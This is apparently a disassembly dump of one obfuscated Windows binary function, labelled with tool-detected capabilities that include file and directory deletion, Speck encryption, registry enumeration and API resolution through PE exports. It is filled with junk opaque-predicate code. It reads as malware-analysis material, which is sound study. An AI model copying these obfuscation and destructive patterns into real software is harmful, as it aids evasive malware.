Function at 0x10034fa7
Capabilities:
Check os version
Delete directory
Delete file
Encrypt data using speck
Get common file path
Get session user name
Parse pe header
Query or enumerate registry key
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10078ce3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1874
call fcn.10074600
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
cmp dword [ebp + 0x10], 0
jbe 0x10035415
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10035415
or dword [ebp - 0x12b4], 0xffffffff
or dword [ebp - 0x12b0], 0xffffffff
or dword [ebp - 0x12ac], 0xffffffff
or dword [ebp - 0x12a8], 0xffffffff
lea ecx, [ebp - 0x559]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x12a4]
push eax
lea eax, [ebp - 0x12b4]
push eax
lea ecx, [ebp - 0x1798]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xe80]
call fcn.10025e19
and dword [ebp - 4], 0
push 1
lea ecx, [ebp - 0x4bc]
call fcn.10025ddd
mov byte [ebp - 4], 1
mov dword [ebp - 0x4c8], 0xfffffffb
mov dword [ebp - 0x234], 0xffffffff
mov dword [ebp - 0x3c], 0
jmp 0x10035070
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x10035089
push dword [ebp - 0x3c]
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
and dword [eax], 0
jmp 0x10035069
mov dword [ebp - 0x3c], 0
jmp 0x10035099
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 2
jge 0x100350af
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x1280], 0x4365dea3
jmp 0x10035092
mov dword [ebp - 0x3c], 0
jmp 0x100350bf
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 1
jge 0x100350d5
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xfa0], 0x5718
jmp 0x100350b8
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
and dword [eax], 0
jmp 0x1003510b
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
mov dword [ebp - 0xa54], eax
mov eax, dword [ebp - 0xa54]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xa54]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
cmp dword [eax], 3
jg 0x100353e3
mov dword [ebp - 0x540], 0
mov dword [ebp - 0xf88], 0xc643d439
mov dword [ebp - 0x4d0], 0
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
push dword [eax]
lea ecx, [ebp - 0xe80]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x100352a6
push 3
lea ecx, [ebp - 0xe80]
call fcn.10025e5b
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
push dword [eax]
lea ecx, [ebp - 0xe80]
call fcn.10025e5b
imul eax, dword [eax], 0xffffffff
test eax, eax
je 0x100351bb
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
push dword [eax]
lea ecx, [ebp - 0xe80]
call fcn.10025e5b
cmp dword [eax], 0
je 0x100351bb
mov dword [ebp - 0xf28], 1
jmp 0x100351c2
and dword [ebp - 0xf28], 0
mov eax, 0x456e348c
cmp eax, 0x8470ed99
jbe 0x100351da
mov dword [ebp - 0xd78], 1
jmp 0x100351e1
and dword [ebp - 0xd78], 0
mov esi, dword [ebp - 0xd78]
add esi, 8
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
add esi, dword [eax]
mov dword [ebp - 0xd80], esi
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xd80]
mov dword [ebp + eax - 0x1280], ecx
mov eax, dword [ebp - 0xd80]
sub eax, dword [ebp - 0x4c8]
jne 0x10035239
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
cmp dword [eax], 0
jne 0x10035239
cmp dword [ebp - 0x540], 0
mov esi, dword [ebp - 0x4c8]
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
push dword [eax]
lea ecx, [ebp - 0xe80]
call fcn.10025e5b
cmp dword [eax], esi
jge 0x10035269
mov dword [ebp - 0xf80], 1
jmp 0x10035270
and dword [ebp - 0xf80], 0
cmp dword [ebp - 0x540], 0xffff
jbe 0x10035288
mov dword [ebp - 0xd88], 1
jmp 0x1003528f
and dword [ebp - 0xd88], 0
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0xd88], eax
jge 0x100352a6
and dword [ebp - 0xd90], 0
jmp 0x100352b0
mov dword [ebp - 0xd90], 1
mov eax, dword [ebp - 0xd90]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x234], 0
jmp 0x100352d5
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jg 0x100353de
mov dword [ebp - 0xdc8], 0xc417
cmp dword [ebp - 0xf88], 0
jle 0x10035301
mov dword [ebp - 0xf90], 1
jmp 0x10035308
and dword [ebp - 0xf90], 0
mov eax, dword [ebp - 0xdc8]
mov dword [ebp - 0x4d0], eax
mov esi, dword [ebp - 0x4d0]
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
cmp esi, dword [eax]
jle 0x10035337
mov dword [ebp - 0xdc0], 1
jmp 0x1003533e
and dword [ebp - 0xdc0], 0
mov eax, dword [ebp - 0x540]
add eax, dword [ebp - 0xdc0]
cmp dword [ebp - 0xdc8], eax
jne 0x1003535e
mov dword [ebp - 0xf98], 1
jmp 0x10035365
and dword [ebp - 0xf98], 0
push 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e5b
push dword [eax]
lea ecx, [ebp - 0xe80]
call fcn.10025e5b
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4d0]
inc ecx
neg ecx
cmp ecx, dword [ebp + eax - 0x1280]
jl 0x100353a3
mov dword [ebp - 0xdd0], 1
jmp 0x100353aa
and dword [ebp - 0xdd0], 0
cmp dword [ebp - 0xdd0], 8
ja 0x100353bf
mov dword [ebp - 0xdd8], 1
jmp 0x100353c6
and dword [ebp - 0xdd8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xdd8]
mov dword [ebp + eax - 0xfa0], ecx
jmp 0x100352c8
jmp 0x100350e7
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x4bc]
call fcn.10025e3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe80]
call fcn.10025e3f
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.100302dd
pop ecx
pop ecx
jmp 0x100403c0
mov dword [ebp - 0xde0], 6
mov dword [ebp - 0xdf0], 0x7e8b72fd
mov eax, dword [ebp - 0xde0]
cmp eax, dword [ebp - 0xde0]
jg 0x10035443
mov dword [ebp - 0xde8], 1
jmp 0x1003544a
and dword [ebp - 0xde8], 0
mov eax, dword [ebp - 0xde8]
mov dword [ebp - 0xdf0], eax
cmp dword [ebp - 0xdf0], 0
je 0x100354de
mov dword [ebp - 0xfa8], 9
push 2
lea ecx, [ebp - 0x13e8]
call fcn.10025ddd
mov dword [ebp - 4], 2
mov dword [ebp - 0x330], 0
jmp 0x10035496
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 2
jge 0x100354b5
push dword [ebp - 0x330]
lea ecx, [ebp - 0x13e8]
call fcn.10025e5b
and dword [eax], 0
jmp 0x10035489
mov esi, dword [ebp - 0xfa8]
push 0
lea ecx, [ebp - 0x13e8]
call fcn.10025e5b
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13e8]
call fcn.10025e3f
jmp 0x10035675
mov byte [ebp - 0x1dc], 0
movzx eax, byte [ebp - 0x1dc]
test eax, eax
je 0x100354fa
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
mov dword [ebp - 0xe68], 0x33d0
mov dword [ebp - 0x10c0], 0x10008220
cmp dword [ebp - 0xe68], 0x3796
jle 0x10035604
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
and dword [ebp - 0x444], 0
jmp 0x1003553c
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x444], 0x657d
jge 0x10035604
and dword [ebp - 0x340], 0
jmp 0x10035562
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 0x2393
jge 0x100355ff
and dword [ebp - 0x3e8], 0
jmp 0x10035588
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0x404b
jge 0x100355fa
and dword [ebp - 0x338], 0
jmp 0x100355aa
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 0x47e9
jge 0x100355f8
mov eax, dword [ebp - 0x3e8]
mov ecx, dword [ebp - 0x338]
shl eax, cl
mov ecx, dword [ebp - 0x444]
imul ecx, dword [ebp - 0x340]
xor eax, ecx
cdq
mov dword [ebp - 0xfb4], eax
mov dword [ebp - 0xfb0], edx
push dword [ebp - 0xfb0]
push dword [ebp - 0xfb4]
mov ecx, 0x1061f778
call fcn.10025cc8
jmp 0x1003559d
jmp 0x1003557b
jmp 0x10035555
jmp 0x1003552f
mov byte [ebp - 0x1c8], 0
mov dword [ebp - 4], 3
cmp dword [ebp - 0xe68], 0x3218
jge 0x1003562e
mov edx, dword [ebp - 0x10c0]
mov ecx, 0x1061f778
call fcn.10027940
jmp 0x1003564a
or dword [ebp - 4], 0xffffffff
jmp 0x10035654
movzx eax, byte [ebp - 0x1c8]
test eax, eax
je 0x10035675
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
cmp dword [ebp + 0x10], 0
jne 0x1003c20d
mov dword [ebp - 0x9c], 0xffffffff
mov dword [ebp - 0x10f8], 0x6dfc
mov dword [ebp - 0x10d0], 0
mov dword [ebp - 0xbc0], 0x8b12acf1
mov dword [ebp - 0xbc8], 0x5697a12b
mov dword [ebp - 0xbc], 0
jmp 0x100356ca
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 2
jge 0x100356e6
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x31c], 0xfd41e559
jmp 0x100356bd
mov dword [ebp - 0xbc], 0
jmp 0x100356ff
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 1
jge 0x1003571b
mov eax, dword [ebp - 0xbc]
mov dword [ebp + eax*4 - 0x598], 0x26b5cfda
jmp 0x100356f2
mov dword [ebp - 0x9c], 1
jmp 0x10035734
mov eax, dword [ebp - 0x9c]
dec eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jl 0x10035d95
mov dword [ebp - 0x70], 0xd46
mov dword [ebp - 0x348], 7
mov dword [ebp - 0x10e0], 5
mov dword [ebp - 0x1618], 0x83800955
mov dword [ebp - 0x548], 4
mov dword [ebp - 0x10c8], 0xffffffff
mov dword [ebp - 0x448], 0
mov dword [ebp - 0x10f0], 0xfffffff9
mov dword [ebp - 0x3f0], 0
jmp 0x100357a7
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 2
jge 0x100357c3
mov eax, dword [ebp - 0x3f0]
mov dword [ebp + eax*4 - 0xed0], 0xc1477a14
jmp 0x1003579a
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x16c4], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [ebp + eax - 0x31c]
jle 0x100357ed
mov dword [ebp - 0xd9c], 1
jmp 0x100357f4
and dword [ebp - 0xd9c], 0
cmp dword [ebp - 0xd9c], 0x65c
jg 0x1003580c
mov dword [ebp - 0x7bc], 1
jmp 0x10035813
and dword [ebp - 0x7bc], 0
cmp dword [ebp - 0x7bc], 1
ja 0x10035828
mov dword [ebp - 0xb78], 1
jmp 0x1003582f
and dword [ebp - 0xb78], 0
cmp dword [ebp - 0xb78], 0x3ff1
jge 0x10035847
mov dword [ebp - 0x5cc], 1
jmp 0x1003584e
and dword [ebp - 0x5cc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x31c]
cmp dword [ebp - 0x5cc], eax
jne 0x1003586f
mov dword [ebp - 0xb80], 1
jmp 0x10035876
and dword [ebp - 0xb80], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0xb80], eax
jne 0x1003588d
mov dword [ebp - 0x5d4], 1
jmp 0x10035894
and dword [ebp - 0x5d4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x31c]
cmp eax, dword [ebp - 0x5d4]
jge 0x100358b5
mov dword [ebp - 0xb88], 1
jmp 0x100358bc
and dword [ebp - 0xb88], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x31c]
add eax, dword [ebp - 0xb88]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x31c]
add ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x31c], ecx
mov dword [ebp - 0x70], 1
jmp 0x100358fb
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jl 0x10035d90
mov dword [ebp - 0x62c], 0xffffffff
mov dword [ebp - 0x14d0], 0xfffffffa
mov dword [ebp - 0x15f4], 6
mov dword [ebp - 0x1100], 0xdaa0
mov dword [ebp - 0x5fc], 0xffffffff
mov dword [ebp - 0x14d8], 8
mov dword [ebp - 0x10d8], 0x8d58
mov dword [ebp - 0x12c8], 0xffff
mov dword [ebp - 0x12c4], 0xffff
mov dword [ebp - 0x12c0], 0xffff
mov dword [ebp - 0x12bc], 0xffff
lea ecx, [ebp - 0x561]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x12b8]
push eax
lea eax, [ebp - 0x12c8]
push eax
lea ecx, [ebp - 0x1740]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1570]
call fcn.10025e19
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x448]
dec eax
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x348], 1
jmp 0x100359d5
mov eax, dword [ebp - 0x348]
dec eax
mov dword [ebp - 0x348], eax
cmp dword [ebp - 0x348], 0
jl 0x10035d7c
mov dword [ebp - 0x4d8], 0xfffffff8
mov eax, dword [ebp - 0x9c]
cmp dword [ebp + eax*4 - 0x31c], 0
je 0x10035ab3
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xed0], 0x10a7
je 0x10035a1f
mov dword [ebp - 0x5dc], 1
jmp 0x10035a26
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x5dc]
sub eax, dword [ebp - 0x5fc]
mov ecx, dword [ebp - 0x70]
cmp dword [ebp + ecx*4 - 0xed0], eax
jne 0x10035a4a
mov dword [ebp - 0xb90], 1
jmp 0x10035a51
and dword [ebp - 0xb90], 0
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp + eax*4 - 0xed0]
cmp eax, dword [ebp - 0xb90]
jle 0x10035a6f
mov dword [ebp - 0xb98], 1
jmp 0x10035a76
and dword [ebp - 0xb98], 0
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp + eax*4 - 0x31c]
mov dword [ebp - 0x5e4], eax
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x5e4]
mov dword [ebp + eax*4 - 0x31c], ecx
mov eax, dword [ebp - 0x5e4]
sub eax, dword [ebp - 0xb98]
je 0x10035ab3
mov dword [ebp - 0x5ec], 1
jmp 0x10035aba
and dword [ebp - 0x5ec], 0
cmp dword [ebp - 0x5ec], 1
jl 0x10035acf
mov dword [ebp - 0xba0], 1
jmp 0x10035ad6
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0x62c]
cmp dword [ebp - 0xba0], eax
jle 0x10035b00
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x598], 0
je 0x10035b00
mov dword [ebp - 0x5f4], 1
jmp 0x10035b07
and dword [ebp - 0x5f4], 0
cmp dword [ebp - 0x5f4], 1
je 0x10035b1c
mov dword [ebp - 0xba8], 1
jmp 0x10035b23
and dword [ebp - 0xba8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x598]
imul eax, dword [ebp - 0xba8]
mov dword [ebp - 0x10c8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x10d0]
imul ecx, dword [ebp - 0x10d8]
add ecx, dword [ebp - 0x9c]
imul ecx, dword [ebp + eax - 0x598]
cmp ecx, 0x286f3a
jle 0x10035b72
mov dword [ebp - 0xbb0], 1
jmp 0x10035b79
and dword [ebp - 0xbb0], 0
mov eax, dword [ebp - 0x5fc]
cmp dword [ebp - 0xbb0], eax
jl 0x10035b93
mov dword [ebp - 0x604], 1
jmp 0x10035b9a
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x604]
mov dword [ebp - 0x4d8], eax
mov eax, dword [ebp - 0x4d8]
mov dword [ebp - 0x10e0], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp + eax*4 - 0xed0]
mov dword [ebp - 0xbb8], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbb8]
mov dword [ebp + eax - 0x31c], ecx
mov eax, dword [ebp - 0x548]
cmp dword [ebp - 0xbb8], eax
jg 0x10035bef
mov dword [ebp - 0x10e8], 1
jmp 0x10035bf6
and dword [ebp - 0x10e8], 0
cmp dword [ebp - 0x448], 0
jne 0x10035c0b
mov dword [ebp - 0x60c], 1
jmp 0x10035c12
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0xbc0], eax
push 3
pop eax
sub eax, dword [ebp - 0xbc0]
add eax, 0x9b4d
cmp eax, dword [ebp - 0x448]
jg 0x10035c40
mov dword [ebp - 0x614], 1
jmp 0x10035c47
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0xbc8], eax
cmp dword [ebp - 0x4d8], 0
je 0x10035c71
cmp dword [ebp - 0xbc8], 0
je 0x10035c71
mov dword [ebp - 0x61c], 1
jmp 0x10035c78
and dword [ebp - 0x61c], 0
cmp dword [ebp - 0x61c], 0x5ac3
jne 0x10035c90
mov dword [ebp - 0xbd0], 1
jmp 0x10035c97
and dword [ebp - 0xbd0], 0
mov eax, dword [ebp - 0x10f0]
cmp dword [ebp - 0xbd0], eax
je 0x10035cb1
mov dword [ebp - 0x624], 1
jmp 0x10035cb8
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x10f8]
cmp dword [ebp - 0x624], eax
jle 0x10035cd2
mov dword [ebp - 0xbd8], 1
jmp 0x10035cd9
and dword [ebp - 0xbd8], 0
cmp dword [ebp - 0xbd8], 0xfffa
jbe 0x10035cf1
mov dword [ebp - 0xbe0], 1
jmp 0x10035cf8
and dword [ebp - 0xbe0], 0
mov eax, dword [ebp - 0x62c]
cmp dword [ebp - 0xbe0], eax
jne 0x10035d12
mov dword [ebp - 0x634], 1
jmp 0x10035d19
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x548]
imul eax, dword [ebp - 0x634]
cmp eax, dword [ebp - 0x548]
jge 0x10035d3a
mov dword [ebp - 0xbe8], 1
jmp 0x10035d41
and dword [ebp - 0xbe8], 0
mov eax, dword [ebp - 0x1100]
cmp dword [ebp - 0xbe8], eax
jl 0x10035d5b
mov dword [ebp - 0x63c], 1
jmp 0x10035d62
and dword [ebp - 0x63c], 0
push 2
lea ecx, [ebp - 0x1570]
call fcn.10025e5b
mov ecx, dword [ebp - 0x63c]
mov dword [eax], ecx
jmp 0x100359c8
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1570]
call fcn.10025e3f
jmp 0x100358f4
jmp 0x10035727
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10028fd5
mov dword [ebp - 0x46c], eax
mov dword [ebp - 0xdc], 0x4fd3df75
mov dword [ebp - 0xbf0], 0xffffffff
mov dword [ebp - 0x4e8], 0x2e75
mov dword [ebp - 0xc30], 0x70979b5c
mov dword [ebp - 0x1110], 0xbdbfad24
mov dword [ebp - 0xdc], 0xffffffe2
jmp 0x10035df1
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x1c
jle 0x10036129
mov dword [ebp - 0xa4], 2
mov dword [ebp - 0x4e0], 7
mov dword [ebp - 0x580], 0x1ed5297f
mov dword [ebp - 0xc38], 0x1e255018
cmp dword [ebp - 0xdc], 0
jne 0x10035e44
cmp dword [ebp - 0xdc], 0x1ad6
je 0x10035e44
and dword [ebp - 0xc00], 0
jmp 0x10035e4e
mov dword [ebp - 0xc00], 1
mov eax, dword [ebp - 0xbf0]
add eax, 0xc8b4
cmp eax, dword [ebp - 0xa4]
jg 0x10035e73
mov eax, 0x10dd
test eax, eax
jne 0x10035e73
cmp dword [ebp - 0x4e8], 0
je 0x10035e88
cmp dword [ebp - 0xbf0], 0
je 0x10035e88
mov dword [ebp - 0x644], 1
jmp 0x10035e8f
and dword [ebp - 0x644], 0
cmp dword [ebp - 0x644], 0x96e8
jle 0x10035ea4
cmp dword [ebp - 0xdc], 0
jne 0x10035eb6
cmp dword [ebp - 0xa4], 0
jne 0x10035eb6
and dword [ebp - 0xbf8], 0
jmp 0x10035ec0
mov dword [ebp - 0xbf8], 1
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0xbf8], eax
jge 0x10035eda
mov dword [ebp - 0x64c], 1
jmp 0x10035ee1
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0x64c]
cmp dword [ebp - 0xc00], eax
jne 0x10035f05
xor eax, eax
je 0x10035f05
mov dword [ebp - 0x654], 1
jmp 0x10035f0c
and dword [ebp - 0x654], 0
cmp dword [ebp - 0x654], 0x4939
jle 0x10035f24
mov dword [ebp - 0xc08], 1
jmp 0x10035f2b
and dword [ebp - 0xc08], 0
mov eax, dword [ebp - 0xc08]
mov dword [ebp - 0x4e0], eax
cmp dword [ebp - 0x4e0], 0
je 0x10036097
mov eax, 0xba137262
test eax, eax
je 0x10036012
cmp dword [ebp - 0xa4], 0x3376
jg 0x10035f69
mov dword [ebp - 0x65c], 1
jmp 0x10035f70
and dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x65c], eax
jl 0x10035f90
cmp dword [ebp - 0x4e8], 0
jne 0x10035f90
and dword [ebp - 0xc10], 0
jmp 0x10035f9a
mov dword [ebp - 0xc10], 1
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0xc10], eax
jg 0x10035fb4
mov dword [ebp - 0x664], 1
jmp 0x10035fbb
and dword [ebp - 0x664], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x664], eax
jge 0x10035fd5
mov dword [ebp - 0xc18], 1
jmp 0x10035fdc
and dword [ebp - 0xc18], 0
mov eax, dword [ebp - 0x4e0]
cmp dword [ebp - 0xc18], eax
jle 0x10035ff6
mov dword [ebp - 0x66c], 1
jmp 0x10035ffd
and dword [ebp - 0x66c], 0
imul eax, dword [ebp - 0x66c], 0xb085
test eax, eax
jne 0x10036012
cmp dword [ebp - 0xa4], 0
mov dword [ebp - 0x580], 0xe06
cmp dword [ebp - 0x580], 0
jne 0x10036037
cmp dword [ebp - 0x580], 0
jne 0x10036037
and dword [ebp - 0xc20], 0
jmp 0x10036041
mov dword [ebp - 0xc20], 1
cmp dword [ebp - 0xc20], 0
jne 0x10036056
mov dword [ebp - 0x674], 1
jmp 0x1003605d
and dword [ebp - 0x674], 0
mov eax, dword [ebp - 0xa4]
add eax, dword [ebp - 0x674]
jne 0x10036077
mov dword [ebp - 0xc28], 1
jmp 0x1003607e
and dword [ebp - 0xc28], 0
mov eax, dword [ebp - 0xc28]
sub eax, 0x6e11cd73
je 0x10036097
mov dword [ebp - 0x67c], 1
jmp 0x1003609e
and dword [ebp - 0x67c], 0
cmp dword [ebp - 0x67c], 0xffffffff
jne 0x100360b3
mov dword [ebp - 0x1108], 1
jmp 0x100360ba
and dword [ebp - 0x1108], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0xc30], eax
mov eax, dword [ebp - 0xc30]
cmp eax, dword [ebp - 0xa4]
jg 0x100360e0
mov dword [ebp - 0x684], 1
jmp 0x100360e7
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x684]
mov dword [ebp - 0xc38], eax
cmp dword [ebp - 0xc38], 0
jne 0x1003610e
mov eax, 0xc438f874
test eax, eax
jne 0x1003610e
and dword [ebp - 0x68c], 0
jmp 0x10036118
mov dword [ebp - 0x68c], 1
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x1110], eax
jmp 0x10035de4
mov dword [ebp - 0x12dc], 1
mov dword [ebp - 0x12d8], 1
mov dword [ebp - 0x12d4], 1
mov dword [ebp - 0x12d0], 1
lea ecx, [ebp - 0x579]
call fcn.10025e6a
push eax
lea eax, [ebp - 0x12cc]
push eax
lea eax, [ebp - 0x12dc]
push eax
lea ecx, [ebp - 0x1750]
call fcn.10025e6d
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1190]
call fcn.10025e19
mov dword [ebp - 4], 6
mov dword [ebp - 0x350], 0x4de6f885
push 2
lea ecx, [ebp - 0x1190]
call fcn.10025e5b
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x550]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x550]
mov ecx, dword [ecx]
inc ecx
mov edx, dword [ebp - 0x550]
mov dword [edx], ecx
test eax, eax
jne 0x100361d9
mov eax, 0xfe5e
test eax, eax
jne 0x100361d9
and dword [ebp - 0xc40], 0
jmp 0x100361e3
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0x9501
jl 0x10036255
push 2
lea ecx, [ebp - 0x1190]
call fcn.10025e5b
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0x1670], eax
mov esi, dword [ebp - 0x350]
push 2
lea ecx, [ebp - 0x1190]
call fcn.10025e5b
add esi, dword [eax]
push 2
lea ecx, [ebp - 0x1190]
call fcn.10025e5b
cmp esi, dword [eax]
jge 0x1003623a
mov dword [ebp - 0x694], 1
jmp 0x10036241
and dword [ebp - 0x694], 0
mov eax, dword [ebp - 0x694]
sub eax, 0x32e99ad3
and dword [ebp - 0xc48], 0
jmp 0x1003625f
mov dword [ebp - 0xc48], 1
mov eax, dword [ebp - 0xc48]
sub eax, 0xac84
cmp eax, 0x6753f3ac
jge 0x1003627d
mov dword [ebp - 0x69c], 1
jmp 0x10036284
and dword [ebp - 0x69c], 0
cmp dword [ebp - 0x69c], 0xf2ef51ae
jbe 0x1003629c
mov dword [ebp - 0xc50], 1
jmp 0x100362a3
and dword [ebp - 0xc50], 0
mov eax, dword [ebp - 0x350]
cmp dword [ebp - 0xc50], eax
jle 0x100362bd
mov dword [ebp - 0x6a4], 1
jmp 0x100362c4
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x350]
add eax, dword [ebp - 0x6a4]
je 0x100362fb
mov byte [ebp - 0x139], 0
movzx eax, byte [ebp - 0x139]
test eax, eax
je 0x100362f9
push 0x2071
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
jmp 0x10036315
mov byte [ebp - 0x1c0], 0
movzx eax, byte [ebp - 0x1c0]
test eax, eax
je 0x10036315
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1190]
call fcn.10025e3f
mov dword [ebp - 0x1b4], 0xad59
push 4
lea ecx, [ebp - 0x13f4]
call fcn.10025ddd
mov dword [ebp - 4], 7
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x1120], 1
mov dword [ebp - 0x1128], 0x32883e73
mov dword [ebp - 0x6e4], 0x570d9780
mov dword [ebp - 0x3f8], 0
jmp 0x10036383
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 4
jge 0x100363a5
push dword [ebp - 0x3f8]
lea ecx, [ebp - 0x13f4]
call fcn.10025e5b
mov dword [eax], 0x7ca0029b
jmp 0x10036376
mov eax, dword [ebp - 0x1b4]
sub eax, 0xbc41
cmp eax, 0x9105fa2e
jb 0x100363c3
mov dword [ebp - 0x1118], 1
jmp 0x100363ca
and dword [ebp - 0x1118], 0
cmp dword [ebp - 0x1b4], 0xfffc
jbe 0x100363e2
mov dword [ebp - 0xc58], 1
jmp 0x100363e9
and dword [ebp - 0xc58], 0
mov eax, dword [ebp - 0x1120]
cmp dword [ebp - 0xc58], eax
jne 0x10036403
mov dword [ebp - 0x6ac], 1
jmp 0x1003640a
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x1b4]
cmp dword [ebp - 0x6ac], eax
jle 0x10036424
mov dword [ebp - 0xc60], 1
jmp 0x1003642b
